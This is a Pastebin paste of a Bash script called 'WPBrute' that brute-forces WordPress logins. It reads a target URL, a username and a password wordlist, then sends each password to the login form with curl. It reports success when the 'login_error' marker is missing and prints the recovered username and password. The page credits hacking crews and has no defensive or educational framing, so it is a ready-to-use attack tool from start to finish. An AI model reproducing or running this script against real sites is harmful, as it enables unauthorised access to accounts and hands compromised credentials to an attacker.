Vipera1

Wordpress Bruteforce Login Bash Version 1.0

Apr 3rd, 2017
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. # WPBrute (Bash)
  3. # By Zombie-Root
  4. #
  5. # Thanks: Ccocot
  6. # Bahari Trouble Maker - IndoXploit - Suram-Crew
  7. # Jloyal - Berdendang C0de
  8.  
  9. clear;
  10. echo ' __        ______  ____             _         ';
  11. echo ' \ \      / /  _ \| __ ) _ __ _   _| |_ ___   ';
  12. echo '  \ \ /\ / /| |_) |  _ \| "__| | | | __/ _ \  ';
  13. echo '   \ V  V / |  __/| |_) | |  | |_| | ||  __/_ ';
  14. echo '    \_/\_/  |_|   |____/|_|   \__,_|\__\___(_)';
  15. echo '  Wordpress Bruteforce Login Bash Version 1.0 ';
  16. echo -ne '\n';
  17. echo -n "Input URL  : "; read url
  18. echo -n "Username   : "; read username
  19. echo -n "Wordlist   : "; read wlist
  20.  
  21. echo Total [$(wc -l < $wlist)] Wordlist
  22.  
  23. i=0
  24. for passw in $(cat $wlist); do
  25.     i=$[i+1]
  26.     brute=$(curl -i -L --data-urlencode  log=$username --data-urlencode pwd=$passw $url)
  27.     if [[ $brute =~ "login_error" ]];
  28.     then
  29.         clear;
  30.         echo ' __        ______  ____             _         ';
  31.         echo ' \ \      / /  _ \| __ ) _ __ _   _| |_ ___   ';
  32.         echo '  \ \ /\ / /| |_) |  _ \| "__| | | | __/ _ \  ';
  33.         echo '   \ V  V / |  __/| |_) | |  | |_| | ||  __/_ ';
  34.         echo '    \_/\_/  |_|   |____/|_|   \__,_|\__\___(_)';
  35.         echo -ne '\n'
  36.         echo '  Trying ['$i'/'$(wc -l < $wlist)']';
  37.         echo -ne '\n\n'
  38.  
  39.     else
  40.         clear;
  41.         echo '  _____                     _ _ '
  42.         echo ' |  ___|__  _   _ _ __   __| | |'
  43.         echo ' | |_ / _ \| | | | "_ \ / _` | |'
  44.         echo ' |  _| (_) | |_| | | | | (_| |_|'
  45.         echo ' |_|  \___/ \__,_|_| |_|\__,_(_)'
  46.         echo -ne '\n'
  47.         echo $url;
  48.         echo 'Username : '$username;
  49.         echo 'Password : '$passw;
  50.         echo -ne '\n'
  51.         break;
  52.     fi
  53. done
Add Comment
Please, Sign In to add comment